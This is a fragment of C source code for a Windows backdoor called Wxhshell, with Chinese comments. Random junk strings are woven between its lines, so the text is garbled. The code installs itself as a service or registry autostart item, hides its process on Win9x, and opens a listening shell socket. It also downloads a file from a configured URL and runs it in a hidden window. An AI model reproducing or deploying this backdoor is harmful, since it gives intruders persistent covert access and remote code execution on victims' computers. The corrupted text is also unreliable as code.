nHQWO
!#PA#Q|cO if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); NZ%v{? b{.Y?.U CloseHandle(hProcess); KBgFS%-W 2|${2u`$&y if(strstr(procName,"services")) return 1; // 以服务启动 =0>[-:Z |W5lhx0U return 0; // 注册表启动 i({MID)/_ } ^$y`Q@-9 USKC,&6&} // 主模块 O]t)`+%q int StartWxhshell(LPSTR lpCmdLine) }D!o=Mg^ { VL$?vI' SOCKET wsl; U[hokwZ BOOL val=TRUE; )Dyyb1\) int port=0; UryHte struct sockaddr_in door; f;bVzti+w `_OB_F if(wscfg.ws_autoins) Install(); 4XSq\.@G eRg;)[#0>$ port=atoi(lpCmdLine);
>j&k: Mz;KXP if(port<=0) port=wscfg.ws_port; *~d<]U5h ,v#3A7"yW WSADATA data; 0hq\{pw_y* if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8TYoa:pZ <m%ZDOMa if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; m"
]VQnQ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Cjj(v7[E door.sin_family = AF_INET; "P$')uwE door.sin_addr.s_addr = inet_addr("127.0.0.1"); l=47#zbpZ] door.sin_port = htons(port); sRflabl *x _Bhd@S! if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =P,pW closesocket(wsl); K~~LJU3 return 1; /pJr%}sc } \+<=O` 22 `e7 if(listen(wsl,2) == INVALID_SOCKET) { f+2mX"Z[F closesocket(wsl); DK|/|C}6 return 1; G#6O'G
N } 8Y;2.Z`Rz Wxhshell(wsl); g>{t>B%v^K WSACleanup(); |wuN`;gc" <4N E)!# return 0; Q;kl-upn~8 qKs"L^b } n.1$p uIR // 以NT服务方式启动 u\)q.` VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }+F@A`Bm& { 5Trc#i<\ DWORD status = 0; Iz&<rL;s DWORD specificError = 0xfffffff; '<AE%i, (mx}6A serviceStatus.dwServiceType = SERVICE_WIN32; !ozHS_ serviceStatus.dwCurrentState = SERVICE_START_PENDING; 9 $zx<O serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vyT-!mC serviceStatus.dwWin32ExitCode = 0; $LtCI serviceStatus.dwServiceSpecificExitCode = 0; >n%ckL|rG serviceStatus.dwCheckPoint = 0; Kp6%=JjO serviceStatus.dwWaitHint = 0; 3Q_)Xs
r` )b,FE}YX hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); hO(A_Bw if (hServiceStatusHandle==0) return; ZC)m&V1 `-5gsJ
status = GetLastError(); 35YDP|XZb if (status!=NO_ERROR) @ZtvpL}e {
TrBtTqH) serviceStatus.dwCurrentState = SERVICE_STOPPED; X&!($*/ serviceStatus.dwCheckPoint = 0; DOq"=R+ serviceStatus.dwWaitHint = 0; DK#Tr: 7 serviceStatus.dwWin32ExitCode = status; QV _aM2 serviceStatus.dwServiceSpecificExitCode = specificError; _w7yfZLv+ SetServiceStatus(hServiceStatusHandle, &serviceStatus); h-\+# .YP return; *?o 'sTH } %%lJyLq'Vk EH]qYF. serviceStatus.dwCurrentState = SERVICE_RUNNING; TZarI-A serviceStatus.dwCheckPoint = 0; +
,rl\|J% serviceStatus.dwWaitHint = 0; 'fY29Xr^ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); H
WFnIUv } ;Ehv1{; m4G))||9Q // 处理NT服务事件,比如:启动、停止 K^%ONultv VOID WINAPI NTServiceHandler(DWORD fdwControl) 4"Mq]_D { svMu85z switch(fdwControl) 'Kd-A:K2g { dRBWJ/ 1T case SERVICE_CONTROL_STOP: e)|5P serviceStatus.dwWin32ExitCode = 0;
mEbj serviceStatus.dwCurrentState = SERVICE_STOPPED; 'NDr$Qc3 serviceStatus.dwCheckPoint = 0; EHrr}& serviceStatus.dwWaitHint = 0; l)Mi?B~N { Oo9' SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5zH_yZ@+ } 3/8<dc return; Y5<W"[B! case SERVICE_CONTROL_PAUSE: :%IB34e serviceStatus.dwCurrentState = SERVICE_PAUSED; ^-(DokdBn break; 8#RL2)7Uy` case SERVICE_CONTROL_CONTINUE: x(A6RRh serviceStatus.dwCurrentState = SERVICE_RUNNING; {Bb:\N8X break; 2FEi-m} case SERVICE_CONTROL_INTERROGATE: w+hpi5OH break; |^OK@KdL1 }; Uq.hCb`: SetServiceStatus(hServiceStatusHandle, &serviceStatus); HaQox.v% } ccy q~ @E=77Jn[px // 标准应用程序主函数 Jl ?_GX}ZY int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^(7Qz&q { SxL/]jWR7 VBK |*Tl // 获取操作系统版本 yER OsIsNt=GetOsVer(); Eopb##o GetModuleFileName(NULL,ExeFile,MAX_PATH); xn1,
o
MY= Y9B"yV // 从命令行安装 5)ooE if(strpbrk(lpCmdLine,"iI")) Install(); a&B@F]+ '>t'U?7w< // 下载执行文件 5`q#~fJ2 if(wscfg.ws_downexe) { 1?,C d if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) p,7?rI\N WinExec(wscfg.ws_filenam,SW_HIDE); ]aYuBoj } d5n>2iO lF\2a&YRbn if(!OsIsNt) { |?ZNGPt // 如果时win9x,隐藏进程并且设置为注册表启动 ?)7UqVyq HideProc(); 'AZxR4W StartWxhshell(lpCmdLine); Ij:yTu } N: 5 N}am else Tb{RQ?Nw' if(StartFromService()) </W"e!?X // 以服务方式启动 NdC5w-WY StartServiceCtrlDispatcher(DispatchTable); T
`o[whr else i_av_I- // 普通方式启动 ]2MX7 StartWxhshell(lpCmdLine); Y.%Vvg4z3 ]^<\a=U return 0; ^[Y/ +Q.J }
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